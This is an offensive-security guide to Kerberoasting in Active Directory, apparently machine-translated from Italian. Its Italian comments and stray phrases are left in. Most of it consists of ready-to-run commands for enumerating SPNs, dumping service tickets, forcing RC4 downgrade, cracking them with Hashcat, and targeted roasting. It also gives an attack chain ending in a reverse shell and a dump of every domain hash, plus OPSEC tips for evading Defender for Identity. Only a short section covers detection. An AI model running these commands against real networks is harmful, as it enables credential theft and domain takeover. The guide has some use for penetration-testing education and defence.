Kerberoasting: Complete Guide — SPN, TGS Cracking and Domain Admin in 2026

Kerberoasting: How It Works, SPN Enumeration, and TGS Cracking in Active Directory #

What is Kerberoasting? — For Beginners #

In Active Directory, each network service—SQL Server, IIS, a custom application—is registered with an identifier called a Service Principal Name ( SPN ). When a domain user wants to access that service, they request an encrypted ticket (TGS) from the domain controller to authorize them. That ticket is encrypted using the password of the account managing the service.

The problem is that any domain user, even with minimal privileges, can request this ticket . You don't need to be an administrator. You don't need to log in to the service. Just be in the domain.

An attacker downloads that encrypted ticket to their system, then works on it offline with a cracker like Hashcat—without generating additional logs, without locking out accounts, without further interaction with the network. If the service account password is weak, it's only a matter of minutes.

This is what makes Kerberoasting so dangerous: it is invisible from the inside, it uses legitimate Kerberos protocol behaviors, and the service accounts are notoriously sloppy — passwords that haven't been rotated for years, often with high privileges.

The Technical Mechanism #

The legitimate Kerberos flow being exploited:

1. Attacker autentica al DC con un account dominio qualsiasi
   → ottiene TGT (Ticket Granting Ticket)

2. Attacker chiede al DC un TGS (Ticket Granting Service)
   per un SPN specifico (es: MSSQLSvc/dbserver.domain.local:1433)

3. DC emette il TGS, cifrato con l'NTLM hash
   della password dell'account di servizio associato a quell'SPN

4. Attacker salva il TGS → cracking offline
   → password in chiaro dell'account di servizio

Why RC4 is the preferred target: When a TGS is encrypted with RC4_HMAC (etype 23), the encryption key is derived directly from the NTLM hash—an unsalted MD4. A modern GPU easily exceeds 500.000 attempts/second on this format. AES-256 (etype 18) instead requires a salted PBKDF2 derivation with iterations—orders of magnitude slower to crack.

SPN Enumeration #

Before requesting tickets, you need to know which accounts have registered SPNs.

GetUserSPNs.py (Impacket) — from Linux #

# Lista account kerberoastable
GetUserSPNs.py domain.local/user:Password123 -dc-ip 10.10.10.1

# Richiede subito i TGS e li salva
GetUserSPNs.py domain.local/user:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt

# Solo un account specifico
GetUserSPNs.py domain.local/user:Password123 -dc-ip 10.10.10.1 \
  -request-user svc_mssql -outputfile hash_mssql.txt

Rubeus — from Windows (in memory, stealth) #

# Kerberoast tutti gli SPN
Rubeus.exe kerberoast /outfile:hashes.txt

# Forza RC4 downgrade (più facile da crackare)
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt

# Solo account specifico
Rubeus.exe kerberoast /user:svc_mssql /outfile:hash_mssql.txt

# Con credenziali alternate
Rubeus.exe kerberoast /creduser:user /credpassword:pass /domain:domain.local

NetExec — quick network sweep #

nxc ldap 10.10.10.1 -u user -p Password123 --kerberoasting hashes.txt

PowerView — from PowerShell #

# Enumera account con SPN
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, pwdlastset

# Richiedi TGS direttamente
Get-DomainSPNTicket -SPN "MSSQLSvc/dbserver.domain.local:1433" -OutputFormat Hashcat

RC4 Downgrade: Maximize Crackability #

Even if the DC supports AES, you can often request TGS in RC4 by specifying the encryption type. This is not blocked by default.

# Impacket — forza etype 23 (RC4)
GetUserSPNs.py domain.local/user:pass -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt -target-domain domain.local

# Rubeus — /rc4opsec gestisce automaticamente il downgrade
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt

Note 2025: Windows Server 2025 and Windows 11 24H2 disable RC4 for Kerberos by default. On modern environments, you'll only see etype 18 (AES-256). Crackability depends entirely on password strength.

Cracking of the TGS #

Hashcat #

# RC4 (etype 23) — mode 13100
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

# Con regole — aumenta enormemente la copertura su password tipo "Service2024!"
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  -r /usr/share/hashcat/rules/d3ad0ne.rule

# AES-256 (etype 18) — mode 19700 — molto più lento
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt

# Benchmark per verificare velocità su tua GPU
hashcat -m 13100 -b

Approximate performance on RTX 3080:

• RC4 (etype 23): ~500.000 H/s
• AES-256 (etype 18): ~3.000 H/s

Un Service2024! It can be cracked in seconds with rules. A random passphrase of 25+ characters is virtually immune.

Targeted Kerberoasting #

More advanced technique: if you have GenericWrite o GenericAll on an account that has no SPN, you can temporarily assign an SPN to that account, request the TGS, crack it, then remove the SPN.

# Via targetedKerberoast.py
python3 targetedKerberoast.py -u user -p Password123 -d domain.local \
  --dc-ip 10.10.10.1

# Pulisce automaticamente gli SPN aggiunti dopo il roast

This is especially useful after ACL abuse: by identifying an account on which you have GenericWrite from BloodHound, you can kerberoasta it even if it normally wouldn't be vulnerable.

See: ACL Abuse and BloodHound

Realistic Attack Chain: From Domain User to Domain Admin #

1. Accesso iniziale: qualsiasi account dominio
   (phishing, password spray, credenziali trovate)

2. GetUserSPNs.py → identifica svc_mssql con SPN registrato
   Pwdlastset: 3 anni fa → alta probabilità di password debole

3. Richiedi TGS → hashes.txt
   $krb5tgs$23$*svc_mssql$DOMAIN.LOCAL$...

4. hashcat -m 13100 → crack in 90 secondi
   Password: Mssql2019!

5. svc_mssql è membro di "SQL Admins"
   SQL Admins ha GenericAll su "Server Operators"
   Server Operators può loggare su DC

6. Da svc_mssql:
   nxc mssql DC_IP -u svc_mssql -p 'Mssql2019!' -x 'whoami'

7. xp_cmdshell → reverse shell → Server Operators → DC
   → secretsdump.py → tutti gli hash del dominio

This type of chain — neglected service account → privilege escalation via AD groups — is among the most common in real enterprise pentests.

Priority: Which Account to Crack First #

Not all TGS have the same value. Sort by potential impact:

1. Direct high-privilege accounts (Domain Admins, Enterprise Admins)
2. Accounts in privileged groups (Backup Operators, Server Operators, Account Operators)
3. Service account with access to multiple systems (svc_mssql, svc_backup, svc_deploy)
4. Old passwords (pwdlastset > 1 year → more likely to be weak)
5. Account with revealing description (sysadmins often write the password in the LDAP description)

# Cerca account con password vecchie E SPN
GetUserSPNs.py domain.local/user:pass -dc-ip 10.10.10.1 | \
  grep -E "(svc_|service|sql|backup|deploy)"

Difference with AS-REP Roasting #

FAQ: When do I use Kerberoasting vs AS-REP Roasting?

See: AS-REP Roasting

Detection and What It Logs #

Event ID 4769 — Kerberos Service Ticket Request. Contains:

• Requesting Account
• SPN required
• Ticket Encryption Type (0x17 = RC4 → abnormal if AES is enabled)

An abnormally high volume of 4769 requests in a short period of time from the same account is the primary warning sign. Honeypot accounts—SPNs registered on accounts never used legitimately—are effective detection methods: any 4769 on them triggers an immediate alert.

The most comprehensive technical reference on the topic is HackTricks — Kerberoast

OPSEC #

• Requesting TGS for dozens of SPNs in a few seconds is noisy and triggers MDI/Defender for Identity. Distribute requests over time, use /delay with Rubeus.
• You prefer --request-user on a single high-value target rather than mass dumping.
• Rubeus with /opsec Does not require LDAP, uses only pure Kerberos — less traces in the domain controller.
• Cracking occurs offline: zero network noise after mining.

# Modalità OPSEC: no LDAP, no dump di massa, un target alla volta con delay
Rubeus.exe kerberoast /user:svc_mssql /rc4opsec /nowrap /opsec

MITER ATT&CK: T1558.003 (Steal or Forge Kerberos Tickets: Kerberoasting), TA0006 (Credential Access)